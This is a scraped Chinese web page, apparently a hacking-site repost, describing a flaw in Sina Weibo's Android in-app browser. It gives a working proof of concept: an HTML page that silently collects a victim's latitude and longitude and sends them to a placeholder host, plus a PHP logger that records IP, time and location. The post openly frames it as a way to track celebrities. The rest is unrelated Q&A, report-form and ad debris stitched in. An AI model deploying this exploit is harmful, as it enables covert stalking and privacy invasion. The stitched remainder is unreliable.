记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华
1.这个漏洞是因为新浪微博内置的浏览器在用户不知道的情况下获取地理位置~我们就利用这个漏洞来获取新浪微博那些明星地理位置~2.利用方法:受害者发送含有下面POC的网页链接 当受害者通过安卓版新浪微博内置浏览器打开该页面时可悄然无息的获取受害者的经纬度。POC :建立 1.html&!DOCTYPE html&&html&&body&&script&getLocation();var x=document.getElementById(&demo&);function getLocation()
if (navigator.geolocation)
navigator.geolocation.getCurrentPosition(showPosition);
else{x.innerHTML=&Geolocation is not supported by this browser.&;}
}function showPosition(position)
{img=new Image();img.src=&http://xxxx.com/1.php?get=&+position.coords.latitude+&,&+position.coords.
}&/script&&/body&&/html&建立 1.php&?phpfile_put_contents(&test.txt&,
& IP:&.$_SERVER[&REMOTE_ADDR&], FILE_APPEND); file_put_contents(&test.txt&,
& Time:&.date(&Y.m.d H:i:s&),FILE_APPEND); file_put_contents(&test.txt&,
& geo:&.$_GET[&get&].&\r\n&,FILE_APPEND); ?& 漏洞证明：
当受害者成功点进去我们的POC 网页~
经纬度就神不知鬼不觉的到我们手里了~东坝路北京市朝阳区 ? 西北 145 米不知道是哪位明星~ 修复方案：
阅读:166778 | 评论:0 | 标签:无
想收藏或者和大家分享这篇好文章→
关注公众号hackdig，学习最新黑客技术签到后怎么在足迹和微博位置里看不到啊！？？？ 我在:http://t.cn/zQWTLzt
全部答案（共7个回答）
应该是数据没有同步造成的~~
可以联系客服让他们后台操作删除。如果对您有帮助，请给个好评哦，亲，谢谢
删掉微博应该就没了
你现在看还有大概是缓存不同步造成的
足迹现在自己没法删
你好,微博还没有推出时间轴功能,你可以通过其他三方插件或应用进行查看。 任务求采纳。
看到很多人都提签到，但是我也没找到在哪里，应该是某项应用里的签到
答: 不可以，那是蓝牙的设置。
答: 它在电缆电视的基础上，将分配网络的主干部分改为光缆，在各个服务节点处完成光电转换，再由同轴电缆将传输信号送到用户家里，可有效地实现Internet访问、电视点播...
答: 找到对方的IP，输入IE地址里就行了！
大家还关注
Copyright &
Corporation, All Rights Reserved
确定举报此问题
举报原因(必选)：
广告或垃圾信息
激进时政或意识形态话题
不雅词句或人身攻击
侵犯他人隐私
其它违法和不良信息
报告，这不是个问题
报告原因(必选)：
这不是个问题
这个问题分类似乎错了
这个不是我熟悉的地区
相关问答：123456789101112131415微博的定位思考_百度文库
两大类热门资源免费畅读
续费一年阅读会员，立省24元！
微博的定位思考
&&微博的定位思考
阅读已结束，下载本文需要
想免费下载更多文档？
定制HR最喜欢的简历
下载文档到电脑，同时保存到云知识，更方便管理
加入VIP
还剩1页未读，
定制HR最喜欢的简历
你可能喜欢516被浏览49,963分享邀请回答23115 条评论分享收藏感谢收起224 条评论分享收藏感谢收起}